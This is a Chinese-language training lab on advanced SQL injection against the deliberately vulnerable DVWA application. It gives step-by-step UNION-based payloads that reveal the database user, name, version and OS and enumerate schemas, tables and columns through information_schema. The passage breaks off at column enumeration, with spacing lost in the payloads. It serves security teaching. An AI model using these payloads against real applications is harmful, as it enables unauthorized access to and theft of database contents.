SQL注入的高级利用
【实训目的】
1、掌握MySQL元数据库information_schema的作用。
2、掌握UNION查询的应用要求。
3、能够利用SQL注入漏洞查询数据库的表名、字段名称与值。
【实训原理】
元数据是描述数据的数据,因此可利用元数据实现查询相关数据的目的,结
合union查询,利用SQL注入漏洞可查询数据库的表及字段值。
【实训步骤】
步骤一、分析SQL注入漏洞所在页面功能。
登录DVWA系统,选择左侧“DVWASecurity”中的low级别,再单击左侧
的“SQLInjection”。
步骤二、获取连接数据库账户信息、数据库名称、数据库版本信息。
利用union查询获取相关信息,union查询要求前后两个查询的列数要相同。
我们现在不关心union关键词前面查询语句查出的值,可以利用条件,如“and
1=2”让其不显示,在union关键词后面利用内置函数user(),及database(),version()
注入得出连接数据库用户以及数据库名称。
1.在UserID输入框中输入:1and1=2unionselectuser(),database()--显示
如下信息:
图3-6DVWA注入user()函数结果图
说明连接数据库的用户为root@localhost,数据库名称为dvwa
通过注入得到数据库名就成功了一半了。
2.利用version()函数,尝试得到版本信息,输入:
1and1=2unionselectversion(),database()--将得到如下信息:
图3-7DVWA注入version()函数结果图
可以查询到当前SQL版本是5.5.53。
3.利用concat_ws函数一次性查出所有信息。
在输入框中输入:
1and1=2unionselect1,concat_ws(0x2c,user(),database(),version())--
图3-8DVWA注入concat_ws()函数结果图
可以看到用户名、数据库及版本号。
步骤三、获得操作系统信息。
在UserID输入框中输入:
1and1=2unionselect1,@@global.version_compile_osfrommysql.user--
图3-9DVWA注入版本函数结果图
可见操作系统为win32版本。
步骤四、查询MySQL数据库中的各个数据库的信息。
在UserID输入框中输入:
1and1=2unionselect1,schema_namefrominformation_schema.schemata--
图3-10DVWA被暴库结果图
可以看到MySQL数据库中的各个数据库的信息。
步骤五、查询指定数据库中的表。
information_schema.tables表给出关于数据库中表的信息,在此查询DVWA
数据库中的表。在UserID输入框中输入:
1and1=2unionselect1,table_namefrominformation_schema.tableswhere
table_schema’DVWA’--,将显示如下信息:
图3-11猜测DVWA数据库中表的结果图
可见DVWA数据库中有guestbook、users两个表。
步骤六、查询指定表的所有字段。
在UserID输入框中输入:
1and1=2unionselect1,column_namefrominformation_schema.columnswhere
table_name=usersandtable_schema=dvwa--
图3-12猜测DVWA数据库中user表的字段